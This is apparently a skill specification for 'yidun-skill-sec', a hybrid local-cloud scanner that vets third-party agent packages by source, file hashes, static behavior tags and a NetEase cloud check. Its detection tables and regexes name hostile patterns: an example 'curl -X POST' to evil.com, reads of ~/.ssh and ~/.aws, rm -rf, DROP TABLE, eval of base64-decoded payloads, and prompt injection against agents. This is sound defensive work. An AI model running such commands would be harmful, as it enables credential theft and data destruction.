Yidun Skill Sec

Intelligent code security scanner with hybrid local-cloud detection. Fingerprints packages, runs static behavioral analysis, and consults cloud threat intelligence (enabled by default, can be disabled) for confidence scoring.

Hybrid local-cloud security scanner for third-party code packages. Scans fast, scores precisely, fails safely.

Security Disclosure

Data Transmission

This skill uploads only non-sensitive metadata to the NetEase Yidun threat intelligence endpoint for security analysis, including:

• File hash values
• Behavior tags
• Code snippets that triggered detections (redacted via the Local Redaction Pipeline)

The following data is never uploaded:

• Full source code
• User credentials or secret keys
• Environment variable values
• Any personal or private data

Data Processing

• Cloud detection data is used exclusively for the current security scan and is destroyed immediately after analysis is complete. No data is persisted or stored on the server side.

Cloud Service

• The cloud endpoint (as.dun.163.com) is operated by NetEase Yidun, a licensed cybersecurity service provider.
• Cloud analysis is enabled by default. It is strongly recommended to keep it enabled for optimal security protection. To disable, set YIDUN_SKILL_SEC_CLOUD=false.

What It Does

yidun-skill-sec fingerprints a code package, runs behavioral analysis locally, and consults cloud threat intelligence to produce a quantified safety score. It catches malware, data leaks, privilege abuse, and obfuscation — before anything gets installed.

How It Works — Four Phases

text

┌──────────────┐     ┌──────────────┐     ┌──────────────────┐     ┌────────────────┐
│   SOURCE     │────▶│  FINGERPRINT │────▶│  BEHAVIORAL SCAN │────▶│  CLOUD INTEL   │
│  VETTING     │     │  hash + meta │     │  static analysis │     │  (default: on) │
└──────────────┘     └──────────────┘     └──────────────────┘     └────────────────┘
        │                    │                     │                        │
        └────────────────────┴─────────────────────┴────────────────────────┘
                                                   ▼
                                         ┌───────────────────┐
                                         │  THREAT VERDICT   │
                                         │  score + labels   │
                                         └───────────────────┘

---

Phase 0: Source Vetting

Before downloading or scanning any code, yidun-skill-sec evaluates where the package comes from. A package from an untrusted or unknown source carries inherent risk regardless of its content.

0.1 Source Tags

Tag	What It Catches	Severity Boost
SRC_UNKNOWN_REGISTRY	Package originates from an unrecognized or unofficial registry	+20
SRC_BLACKLISTED_DOMAIN	Install URL or declared homepage matches a known malicious domain/IP	+40
SRC_UNTRUSTED_AUTHOR	Publisher account is new (<30 days), unverified, or has prior malicious packages	+15

Hard Rule: Any SRC_BLACKLISTED_DOMAIN hit forces the verdict to CRITICAL immediately — scanning halts and the package is blocked without further analysis.

0.1.1 Domain Blacklist Source

The domain blacklist used by SRC_BLACKLISTED_DOMAIN is maintained in two tiers:

Tier	Source	Availability
Local embedded list	Bundled with the skill, updated on each skill release	Always available (offline-safe)
Cloud-augmented list	Fetched from as.dun.163.com during Phase 3	Only when YIDUN_SKILL_SEC_CLOUD=true

In Phase 0, the scanner checks against the local embedded list only. When cloud is enabled, the full cloud-augmented blacklist is checked during Phase 3, and any additional domain hits are retroactively applied to the verdict.

0.2 Registry Allowlist

The following registries are considered trusted by default:

Registry	Protocol
ClawHub (clawhub.com)	HTTPS + signed manifest
npm (registry.npmjs.org)	HTTPS
PyPI (pypi.org)	HTTPS
GitHub Releases (github.com/*/releases)	HTTPS
Custom allowlist via YIDUN_SKILL_SEC_TRUSTED_REGISTRIES	Configurable (registry only)

Packages installed directly from a raw URL, a private server, or an unknown host are tagged SRC_UNKNOWN_REGISTRY unless the host is on the allowlist.

0.3 Author / Publisher Trust

For supported registries (npm, PyPI, ClawHub), the scanner checks the publishing account's trust profile:

Signal	Penalizes When
Account age	< 30 days old
Verification status	Unverified / no 2FA
Prior packages	Any previously removed for malware
Ownership match	Author field in package metadata ≠ registry profile name

bash

# Source vetting output example
SOURCE VETTING
  Registry: clawhub.com → ✅ trusted
  Domain:   clawhub.com → ✅ not blacklisted
  Author:   some-author (verified, age: 2y 3m) → ✅ trusted
  Source score: 100/100  Tags: none

0.4 Source Metadata in Cloud Request

Source vetting results are included in the cloud request as source_meta:

json

"source_meta": {
  "registry": "clawhub.com",
  "install_url": "https://clawhub.com/packages/data-processor-1.2.3.tar.gz",
  "author_verified": true,
  "author_account_age_days": 823,
  "prior_removals": 0,
  "tags": []
}

---

Phase 1: Fingerprint

Before anything else, build a complete inventory of the package.

Actions performed:

1. List every file in the package
2. Compute SHA-256 hash per file via openssl dgst -sha256
3. Derive a composite package fingerprint (sorted hash of all file hashes)
4. Extract metadata: name, version, author, declared dependencies Output: A fingerprint manifest used for cache lookups and audit trail.

bash

# Example: compute file hashes
find /tmp/pkg -type f -exec openssl dgst -sha256 {} \;

# Example: composite fingerprint
find /tmp/pkg -type f -exec openssl dgst -sha256 {} \; | sort | openssl dgst -sha256

Note on nested archives: If the package contains compressed or archive files (.zip, .tar.gz, .whl, .jar, .rar, .7z, etc.), the scanner does NOT extract them. The presence of archives that require decompression and command execution is considered an inherent security risk. The archive file itself is fingerprinted, and the package is immediately tagged ARCHIVE_EXEC_RISK with a severity boost of +30. If the archive is also password-protected or otherwise opaque, the tag OBFUSCATED is additionally applied.

---

Phase 2: Behavioral Scan

A static analysis pass that classifies every file by its observable behaviors. No code is executed — only pattern matching and structural inspection.

2.1 Behavior Categories

Each detected behavior is tagged into one of these categories:

Tag	What It Catches	Severity Boost
NET_OUTBOUND	HTTP/HTTPS calls, socket connections, DNS lookups	+15
NET_IP_RAW	Connections to raw IPs instead of hostnames	+25
FS_READ_SENSITIVE	Reads from ~/.ssh, ~/.gnupg, ~/.aws, ~/.config/gh	+30
FS_WRITE_SYSTEM	Writes outside the project workspace	+20
EXEC_DYNAMIC	eval(), exec(), Function(), backtick interpolation	+25
EXEC_SHELL	Spawns shell subprocesses	+10
ENCODE_DECODE	Base64/hex encode-decode chains (potential obfuscation)	+20
CRED_HARVEST	Reads tokens, passwords, API keys from env or files	+35
PRIV_ESCALATION	sudo, chmod 777, setuid patterns	+30
OBFUSCATED	Minified/packed code, non-readable variable names	+15
AGENT_MEMORY	Accesses agent memory files (identity, preferences, context)	+25
PKG_INSTALL	Installs unlisted system packages or dependencies	+20
COOKIE_SESSION	Reads browser cookies, localStorage, session tokens	+25
BYPASS_SAFETY	Uses flags that skip security checks: --no-verify, --force, --allow-root, --skip-ssl	+20
DESTRUCTIVE_OP	Irreversible destructive operations: rm -rf, git reset --hard, DROP TABLE, mkfs, dd if=	+25
PROMPT_INJECT	Embeds natural language directives targeting the AI agent, attempting to override its rules, bypass constraints, or assume an unrestricted persona	+35
ARCHIVE_EXEC_RISK	Package contains compressed/archive files (.zip, .tar.gz, .whl, .jar, .rar, .7z) that require decompression — treated as inherent risk, not extracted	+30

2.2 Example Context Exemption

Before scoring, the scanner identifies whether a pattern match falls within a documentation or example context. Matches in example contexts receive a severity reduction (not full immunity) because example code can still be copy-pasted and executed.

2.2.1 What Qualifies as Example Context

Context Type	Detection Method	Example
Markdown fenced code block	Match is inside ``` or ~~~ fenced blocks in .md / .mdx / .rst files	curl -X POST https://evil.com/steal in a SKILL.md tutorial
Inline code span	Match is inside single backticks in documentation files	`eval(user_input)` in a README
Code comments	Match is on a line starting with #, //, /* */, <!-- -->, or language-specific comment markers	# Example: sudo chmod 777 /tmp
Clearly labeled example sections	Match is under a heading containing keywords: example, demo, tutorial, sample, usage, how-to	Section titled "## Usage Example"
Non-executable file types	Match is in .md, .txt, .rst, .adoc, .html (non-script) files	A .md file describing attack patterns

2.2.2 Exemption Rules

Rule	Effect
Severity reduction	Tags matched in example context have their severity boost reduced by 75% (rounded down). E.g. CRED_HARVEST (+35) → (+8) in example context
Hard rule exemption	Tags matched exclusively in example contexts do not trigger hard rules (SEVERE/CRITICAL floor). If the same tag also appears in non-example code, the hard rule still applies
Cross-file correlation exemption	Example-context matches are excluded from cross-file correlation patterns
Minimum residual	Even after reduction, each example-context tag retains a minimum +3 severity boost — examples are never fully invisible
Report annotation	Example-context matches are annotated with [EXAMPLE] in the scan report to distinguish them from real threats

2.2.3 What Does NOT Qualify for Exemption

The following are never exempted, regardless of context:

Condition	Reason
Pattern in .sh, .py, .js, .ts, or other executable file types	Script files can be executed directly, even if they contain "example" comments
install / postinstall / setup lifecycle scripts	These run automatically — example or not, they execute
PROMPT_INJECT tag	Prompt injection works by being read as text — Markdown is the attack surface, not an innocent context
Pattern in a file that is referenced by an executable entry point (e.g. imported or sourced)	If a .md is parsed at runtime, it's not just documentation

2.2.4 Example Context in Reports

When example exemption is applied, the report shows both the original and reduced deduction:

text

Phase 2 · Behavioral Scan
  CRED_HARVEST   SKILL.md:255  -8   [EXAMPLE] (original: -35, in markdown code block)
  NET_OUTBOUND   SKILL.md:255  -3   [EXAMPLE] (original: -15, in markdown code block)
  EXEC_DYNAMIC   SKILL.md:262  -6   [EXAMPLE] (original: -25, in markdown code block)
  NET_OUTBOUND   fetch.py:12   -15  ← real code, no exemption
  Local score: 65/100

Design rationale: Documentation files with security examples (e.g. a skill's own SKILL.md showing attack patterns for educational purposes) should not be penalized at the same severity as actual malicious code. However, they retain a small residual score because: (1) examples can be copied and run, (2) a package filled with nothing but "examples" of attacks is itself suspicious, and (3) PROMPT_INJECT is never exempt because the documentation IS the attack vector for prompt injection.

2.3 How Severity Scores Work

• Start at 100 (fully safe)
• Each behavior tag subtracts its severity boost from the score (after applying Example Context Exemption if applicable)
• Multiple tags stack, but the score floors at 0
• A single CRED_HARVEST or PRIV_ESCALATION tag in non-example context triggers an immediate escalation — the package is flagged regardless of total score

2.4 Pattern Matching Rules

The scanner matches against concrete code patterns:

text

NET_OUTBOUND:
  curl|wget|fetch|http\.get|requests\.(get|post)|axios|urllib
  + destination is NOT localhost/127.0.0.1/::1

NET_IP_RAW:
  \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b in URL/connection context

FS_READ_SENSITIVE:
  cat|read|open.*\.(ssh|gnupg|aws|config/gh|kube)

EXEC_DYNAMIC:
  dynamic execution calls (eval, exec, new Function, backtick interpolation)
  with non-literal or externally-sourced arguments

ENCODE_DECODE:
  base64\s+(encode|decode|-d)|atob\(|btoa\(|Buffer\.from\(.*base64

CRED_HARVEST:
  (API_KEY|SECRET_KEY|TOKEN|PASSWD|PRIV_KEY) followed by assignment|
  cat/read operations targeting private key files or dotenv files|
  keyring access patterns

PRIV_ESCALATION:
  sudo invocations|chmod with world-writable bits|chown to root|setuid patterns

AGENT_MEMORY:
  MEMORY\.md|USER\.md|SOUL\.md|IDENTITY\.md|\.claude|\.claw/memory

OBFUSCATED:
  single-line file >500 chars with no whitespace|
  variable names all <3 chars in >20 occurrences

BYPASS_SAFETY:
  --no-verify|--force|--allow-root|--skip-ssl|--insecure|--no-check-certificate|
  GIT_SSL_NO_VERIFY|NODE_TLS_REJECT_UNAUTHORIZED=0

DESTRUCTIVE_OP:
  rm\s+-rf|shutil\.rmtree|git\s+reset\s+--hard|git\s+clean\s+-fd|
  DROP\s+TABLE|DROP\s+DATABASE|mkfs\.|dd\s+if=|truncate\s+--size=0

PROMPT_INJECT:
  Patterns that attempt to override agent instructions or assume unrestricted personas.
  Exact regex strings are maintained server-side to prevent the pattern list itself
  from being flagged as an injection vector. The local scanner checks for structural
  indicators (e.g. imperative overrides targeting "instructions", "rules", "constraints",
  jailbreak persona triggers, and SYSTEM-level injection markers in non-system contexts).

---

Phase 3: Cloud Intelligence

When cloud is enabled (default), yidun-skill-sec consults the remote threat intelligence service. If the user has set YIDUN_SKILL_SEC_CLOUD=false, this phase is skipped entirely and scoring uses offline weights. If the cloud call times out (10s), the scanner automatically downgrades to local-only mode and notifies the user.

3.1 What Gets Sent

The fingerprint manifest, behavior tags, and redacted evidence artifacts are uploaded. All evidence must pass through the Local Redaction Pipeline before any network call is made.

3.2 Local Redaction Pipeline

Before uploading evidence to the cloud, the scanner runs every evidence record through the following mandatory redaction steps in order. No raw evidence leaves the local machine.

text

┌─────────────┐     ┌─────────────┐     ┌─────────────┐     ┌─────────────┐     ┌──────────┐
│  Raw match  │────▶│  Step 1     │────▶│  Step 2     │────▶│  Step 3     │────▶│  Step 4  │
│  from scan  │     │  Credential │     │  Path       │     │  Content    │     │  Length  │
│             │     │  Scrub      │     │  Normalize  │     │  Truncate   │     │  Cap     │
└─────────────┘     └─────────────┘     └─────────────┘     └─────────────┘     └──────────┘
                                                                                      │
                                                                                      ▼
                                                                              Redacted evidence
                                                                              ready for upload

Step 1 — Credential Scrub

Replace all secret values with [REDACTED]. Only the variable name or access pattern is preserved.

Pattern	Before	After
Env variable values	os.environ.get('KEY') → "sk-abc123..."	os.environ.get('KEY') → [REDACTED]
Inline secrets	api_key = "sk-abc123def456"	api_key = [REDACTED]
Auth headers	Authorization: Bearer eyJ...	Authorization: Bearer [REDACTED]
Connection strings	postgres://user:pass@host/db	postgres://[REDACTED]@host/db

Regex for scrubbing:

text

(=|:|Bearer\s+|://[^@]+@)\s*["']?[A-Za-z0-9_\-\.]{8,}["']?
→ replace matched value portion with [REDACTED]

Step 2 — Path Normalize

Sensitive file paths are reduced to pattern only — the actual file content is never read or sent.

Before	After
/Users/john/.ssh/id_rsa	~/.ssh/<PRIVATE_KEY>
/home/dev/.aws/credentials	~/.aws/<CREDENTIALS>
/Users/john/.env	~/<DOTENV>
/Users/john/.config/gh/hosts.yml	~/.config/gh/<CONFIG>

Rule: Any path under ~/ containing .ssh, .aws, .gnupg, .env, .config/gh, .kube → normalize username to ~, replace filename with <TYPE_TAG>.

Step 3 — Content Truncate

The context field (matched code line) is limited to a single line, max 200 characters. No surrounding lines are collected.

Rule	Action
Multi-line match	Keep only the first line
Line > 200 chars	Truncate at 200, append …[TRUNCATED]
Binary content detected	Replace entire context with [BINARY DATA]

Step 4 — Length Cap

Each evidence array (urls, commands, credential_accesses, obfuscation_samples) is capped at 10 items. If more matches exist, only the top 10 by severity are sent, and a "truncated": true flag is added.

3.3 Redaction Guarantee

The following data never leaves the local machine under any circumstances:

Category	Guaranteed NOT sent
Source code	Full file contents — only the single matched line (redacted) is sent
Secret values	API keys, tokens, passwords, private keys — replaced with [REDACTED]
Env variable values	Only the variable name is sent, never the value
Sensitive file content	Files under ~/.ssh, ~/.aws, ~/.env etc. — only the normalized path pattern
Personal identifiers	Usernames in paths are normalized to ~
Binary data	Replaced with [BINARY DATA] placeholder

Audit point: The redacted payload can be logged locally before upload by setting YIDUN_SKILL_SEC_LOG_PAYLOAD=true. This allows users to verify exactly what leaves the machine.

http

POST https://as.dun.163.com/v1/agent-sec/skill/check

{
  "request_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
  "skill": {
    "name": "target-package",
    "version": "1.2.3",
    "source": "clawhub",
    "author": "some-author"
  },
  "files": [
    {"path": "main.py", "sha256": "a1b2c3...", "size": 4096},
    {"path": "config.yml", "sha256": "d4e5f6...", "size": 256}
  ],
  "skill_sha256": "composite_fingerprint_abc",
  "local_result": {
    "red_flags": ["NET_OUTBOUND", "ENCODE_DECODE"],
    "risk_level": "medium"
  },
  "evidence": {
    "urls": [
      {
        "tag": "NET_OUTBOUND",
        "value": "https://<EXAMPLE_HOST>/api/data",
        "file": "fetch.py",
        "line": 12,
        "context": "requests.post('https://<EXAMPLE_HOST>/api/data', data=payload)"
      },
      {
        "tag": "NET_IP_RAW",
        "value": "http://<RAW_IP>/endpoint",
        "file": "init.py",
        "line": 7,
        "context": "urllib.request.urlopen('http://<RAW_IP>/endpoint')"
      }
    ],
    "commands": [
      {
        "tag": "EXEC_SHELL",
        "value": "<SHELL_CMD>",
        "file": "setup.sh",
        "line": 23,
        "context": "subprocess.run([<SHELL_CMD>], shell=True)"
      },
      {
        "tag": "EXEC_DYNAMIC",
        "value": "<DYNAMIC_EVAL_CALL>",
        "file": "loader.py",
        "line": 5,
        "context": "<DYNAMIC_EVAL_CALL>"
      },
      {
        "tag": "PRIV_ESCALATION",
        "value": "<PRIV_CMD>",
        "file": "install.sh",
        "line": 11,
        "context": "os.system('<PRIV_CMD>')"
      }
    ],
    "credential_accesses": [
      {
        "tag": "CRED_HARVEST",
        "value": "os.environ.get('<SENSITIVE_KEY_NAME>')",
        "file": "config.py",
        "line": 3,
        "context": "secret = os.environ.get('<SENSITIVE_KEY_NAME>')"
      },
      {
        "tag": "FS_READ_SENSITIVE",
        "value": "~/.ssh/<KEY_FILE>",
        "file": "auth.py",
        "line": 18,
        "context": "open(os.path.expanduser('~/.ssh/<KEY_FILE>')).read()"
      }
    ],
    "obfuscation_samples": [
      {
        "tag": "ENCODE_DECODE",
        "value": "base64.b64decode('<ENCODED_STRING>')",
        "file": "payload.py",
        "line": 9,
        "context": "<DYNAMIC_EVAL>(base64.b64decode('<ENCODED_STRING>').decode())"
      }
    ]
  }
}

Evidence Field Specification

Field	Type	Description
evidence.urls	array	Full URLs that triggered NET_OUTBOUND / NET_IP_RAW tags
evidence.commands	array	Command snippets that triggered EXEC_SHELL / EXEC_DYNAMIC / PRIV_ESCALATION tags
evidence.credential_accesses	array	Credential access expressions or paths that triggered CRED_HARVEST / FS_READ_SENSITIVE tags
evidence.obfuscation_samples	array	Encoding call snippets that triggered ENCODE_DECODE / OBFUSCATED tags
evidence.system_operations	array	System-level actions that triggered FS_WRITE_SYSTEM / PKG_INSTALL / DESTRUCTIVE_OP / BYPASS_SAFETY tags
evidence.agent_security	array	Agent-targeting behaviors that triggered AGENT_MEMORY / COOKIE_SESSION / PROMPT_INJECT tags

Each evidence record has the following structure:

Sub-field	Description
tag	The behavior tag that was triggered
value	Redacted extracted value (URL / command / path), post Local Redaction Pipeline
file	Source file path where the pattern was found
line	Line number of the match
context	Full content of the matched line (single line only, no surrounding context)

3.4 What Happens Server-Side

text

Request received
  │
  ├─ Lookup fingerprint in threat database
  │   ├── Known malicious  → immediate BLOCK
  │   ├── Known safe       → immediate PASS
  │   └── Unknown          → run deep analysis via content safety API
  │                            ├── analyze code snippets (sanitized)
  │                            ├── check against threat patterns
  │                            └── cache result with TTL
  │
  └─ Return verdict + confidence score

3.5 Response Format

json

{
  "request_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
  "cache_hit": false,
  "confidence_score": 45,
  "labels": ["NET_OUTBOUND", "ENCODE_DECODE", "NET_IP_RAW"],
  "verdict": "REVIEW",
  "recommendation": "Suspicious encoding patterns detected near network calls",
  "deductions": [
    {
      "tag": "NET_OUTBOUND",
      "reason": "Detected outbound HTTP call to unknown external host",
      "evidence": "https://<EXAMPLE_HOST>/api/data",
      "score_impact": -15,
      "severity": "medium"
    },
    {
      "tag": "ENCODE_DECODE",
      "reason": "Base64 decode result passed directly into dynamic execution — likely obfuscated payload",
      "evidence": "<DYNAMIC_EVAL>(base64.b64decode('<ENCODED_STRING>').decode())",
      "score_impact": -20,
      "severity": "high"
    },
    {
      "tag": "NET_IP_RAW",
      "reason": "Connection to raw IP address bypasses DNS — common in C2 communication",
      "evidence": "http://<RAW_IP>/endpoint",
      "score_impact": -25,
      "severity": "high"
    }
  ]
}

Field	Type	Meaning
request_id	string	UUID v4 echoed from the request — use for tracing and audit logs
cache_hit	bool	Was the fingerprint already in the database?
confidence_score	int	0–100, higher means safer
labels	string[]	Detected threat categories
verdict	enum	PASS / REVIEW / BLOCK
recommendation	string	Human-readable summary of the verdict
deductions	array	Per-tag score deduction breakdown from cloud analysis

request_id generation: Client must generate a UUID v4 before each request and include it in the body. The server echoes the same value in the response for end-to-end tracing.

bash

# Generate UUID v4 on the fly (macOS / Linux)
REQUEST_ID=$(uuidgen | tr '[:upper:]' '[:lower:]')

deductions item fields:

Sub-field	Type	Meaning
tag	string	Behavior tag that triggered this deduction
reason	string	Cloud analysis explanation for why this tag was penalized
evidence	string	The specific URL / command / snippet that was matched
score_impact	int	Points deducted from confidence_score for this tag
severity	enum	low / medium / high / critical

3.6 Timeout Fallback

When cloud is enabled but the network call fails:

1. curl times out after 10 seconds
2. Scanner falls back to local-only mode automatically
3. All scores shift -10 points (conservative bias)
4. Report shows Mode: local-only (cloud timeout)
5. Any score below 60 requires user confirmation before install

---

Producing the Verdict

The final threat score combines local scan + cloud intel (when available):

Score Composition

Signal	Normal Weight	Offline Weight
Source vetting score	15%	20%
Behavioral scan score	40%	55%
Cloud confidence score	30%	—
Privilege surface area	15%	25%

Privilege Surface Area Score

The privilege surface area score starts at 100 and is deducted based on the breadth of privileged access the package requests:

Surface	Deduction	Condition
Network	-20	Any NET_OUTBOUND or NET_IP_RAW tag present
Filesystem	-20	Any FS_READ_SENSITIVE or FS_WRITE_SYSTEM tag present
Shell	-20	Any EXEC_SHELL or EXEC_DYNAMIC tag present
Credentials	-25	Any CRED_HARVEST tag present
System	-15	Any PRIV_ESCALATION, PKG_INSTALL, or DESTRUCTIVE_OP tag present

The score floors at 0. A package that touches all surfaces scores 0; a package with no privileged access scores 100.

Threat Levels

Score	Level	Action
80–100	🟢 CLEAR	Install normally
60–79	🟢 MINOR	Install with awareness
40–59	🟡 ELEVATED	User review before install
20–39	🔴 SEVERE	Requires explicit user consent
0–19	⛔ CRITICAL	Blocked — do not install

Hard rules (override score):

"Floor to X" means the verdict cannot be better than X. If the natural score already falls into a worse level, that worse level applies.

• Any CRED_HARVEST tag → floor to SEVERE (score capped at 39)
• Any PRIV_ESCALATION tag → floor to SEVERE (score capped at 39)
• Any PROMPT_INJECT tag → floor to SEVERE (score capped at 39)
• Any DESTRUCTIVE_OP tag → floor to ELEVATED (score capped at 59)
• CRED_HARVEST + PRIV_ESCALATION both present → force CRITICAL (score capped at 19)
• PROMPT_INJECT + any of (CRED_HARVEST, NET_OUTBOUND, EXEC_DYNAMIC) → force CRITICAL (score capped at 19)

---

Report Output

⚡ YIDUN-SKILL-SEC Scan Report

[name] · v[version] · [source] · by [author] · [timestamp]

Phase 0 · Source Vetting

	Result
Registry	[name] → ✅ trusted / ⚠️ unknown / N/A
Domain	[host] → ✅ clean / ❌ blacklisted
Author	[name] → ✅ verified / ⚠️ unverified
Source Score	[xx]/100 · Tags: [tags or none]

Phase 1 · Fingerprint

[N] files · SHA-256 [hash...] · [file1] [file2] ...

Phase 2 · Behavioral Scan

Tag	Location	Deduction
[TAG_1]	[file:line]	-[N]
[TAG_2]	[file:line]	-[N]

Local score [xx]/100 · If no findings: ✅ No suspicious behaviors detected

Phase 3 · Cloud Intel

	Result
Mode	[cloud / local-only / mock]
Cache	[hit safe / hit threat / miss]
Cloud Score	[xx]/100 · Labels: [list or none]

Privilege Surface · Network: [domains] · FS: [paths] · Shell: [cmds] · Creds: [yes/no]

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🎯 Score: [xx]/100 · [🟢 CLEAR / 🟢 MINOR / 🟡 ELEVATED / 🔴 SEVERE / ⛔ CRITICAL]

[✅ Allow / ⚠️ Requires confirmation / ❌ Blocked]

⚠️ [hard rule trigger or key observation, omit if none]

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Usage Example

User: "Install data-processor from ClawHub"

Agent workflow:

text

0. Source vetting
   → Registry: clawhub.com ✅  Domain: clean ✅  Author: verified ✅
   → Source score: 100/100

1. Download to temp directory
   $ mkdir -p /tmp/yds-scan && clawhub install data-processor --dir /tmp/yds-scan

2. Fingerprint
   $ find /tmp/yds-scan -type f -exec openssl dgst -sha256 {} \;
   → 4 files, composite: 7f3a...

3. Behavioral scan
   → NET_OUTBOUND detected in fetch.py:12 (api.dataproc.io)
   → FS_WRITE_SYSTEM detected in setup.sh:8 (/usr/local/bin)
   → EXEC_SHELL detected in setup.sh:15 (subprocess.run)
   → Local score: 100 - 15 - 20 - 10 = 55/100

4. Privilege surface area
   → Network: -20, Filesystem: -20, Shell: -20 → 100 - 20 - 20 - 20 = 40/100

5. Cloud intel query
   → Cache miss → deep analysis → confidence 48/100
   → Labels: [NET_OUTBOUND, FS_WRITE_SYSTEM, EXEC_SHELL]

6. Final score: 15% × 100 + 40% × 55 + 30% × 48 + 15% × 40 = 15 + 22 + 14.4 + 6 = 57.4 ≈ 57
   → Level: ELEVATED
   → Verdict: ⚠️ Review — network calls + system writes + shell exec need justification

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More Scenarios

Clean Package

text

Package: markdown-helper v2.1.0
Behaviors: none detected
Cloud: cache hit (safe), score 92
Final: 🟢 CLEAR (94) → ✅ Allow

Obfuscation + Credential Access

text

Package: perf-booster v1.0.0
Behaviors: OBFUSCATED, CRED_HARVEST, NET_OUTBOUND
Cloud: cache hit (threat), score 5
Hard rule: CRED_HARVEST → floor SEVERE (cap 39)
Natural score: 8 → already worse than SEVERE → stays CRITICAL
Final: ⛔ CRITICAL (8) → ❌ Block

Offline Scan

text

Package: log-rotator v3.0.0
Behaviors: FS_WRITE_SYSTEM, EXEC_SHELL
Cloud: unavailable → local-only mode (-10 penalty)
Local score: 60 - 10 = 50
Final: 🟡 ELEVATED (50) → ⚠️ Review

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Cross-File Behavior Correlation

In addition to per-file pattern matching, the scanner performs cross-file correlation to detect multi-stage attack patterns that only become apparent when viewed holistically:

Correlation Pattern	Tags Involved	Severity Boost
Credential read in file A + network send in file B	CRED_HARVEST + NET_OUTBOUND	+15 (additive)
Decode in file A + dynamic exec in file B	ENCODE_DECODE + EXEC_DYNAMIC	+10 (additive)
Sensitive file read + encode + network send (any files)	FS_READ_SENSITIVE + ENCODE_DECODE + NET_OUTBOUND	+20 (additive)
Prompt inject + agent memory access (any files)	PROMPT_INJECT + AGENT_MEMORY	+15 (additive)

Note: Correlation boosts are applied after individual tag deductions. They stack with existing severity scores and are included as separate entries in the scan report.

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Scan Caching

To avoid redundant work, the scanner maintains a local fingerprint cache:

Parameter	Value
Cache location	~/.yidun-skill-sec/cache.json
Cache key	Composite SHA-256 fingerprint
TTL	24 hours
Invalidation	Any file change → new fingerprint → cache miss
Version change	Package version bump → always re-scan
Force re-scan	Pass --no-cache flag or delete cache file

When a cache hit occurs:

1. The cached verdict is returned immediately
2. Report shows Cache: local hit with the original scan timestamp
3. If the cache entry is > 12 hours old, the report appends a note: ⚠️ Cache aging — consider re-scan

Cloud-side caching is managed by the server with its own TTL. A local cache hit skips the cloud call entirely.

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Cloud Call Policy

Cloud intelligence is enabled by default. The user can explicitly disable it by setting:

bash

export YIDUN_SKILL_SEC_CLOUD=false

When disabled, the scanner runs in local-only mode with adjusted score weights and notifies the user that cloud verification was skipped.

Mode	Trigger	Behavior
Cloud ON	Default / YIDUN_SKILL_SEC_CLOUD=true	Full 4-phase scan, domain blacklist checked server-side
Cloud OFF	YIDUN_SKILL_SEC_CLOUD=false	Local-only scan, domain blacklist skipped, score weights adjusted
Timeout fallback	Cloud ON but curl times out (10s)	Automatic downgrade to local-only, -10 score penalty, user notified

Rules that always apply regardless of mode:

• ❌ Do NOT self-judge that cloud is "unnecessary" and skip it without the user setting YIDUN_SKILL_SEC_CLOUD=false
• ❌ Do NOT silently fall back to local-only on timeout without notifying the user
• ❌ Do NOT treat any skill type as exempt from cloud verification when cloud is enabled

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Requirements

Tool	Purpose
curl	Cloud API communication
jq	Parse JSON responses
openssl	File hash computation

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Scan first, install later. ⚡

Author: Yidun Security Team License: MIT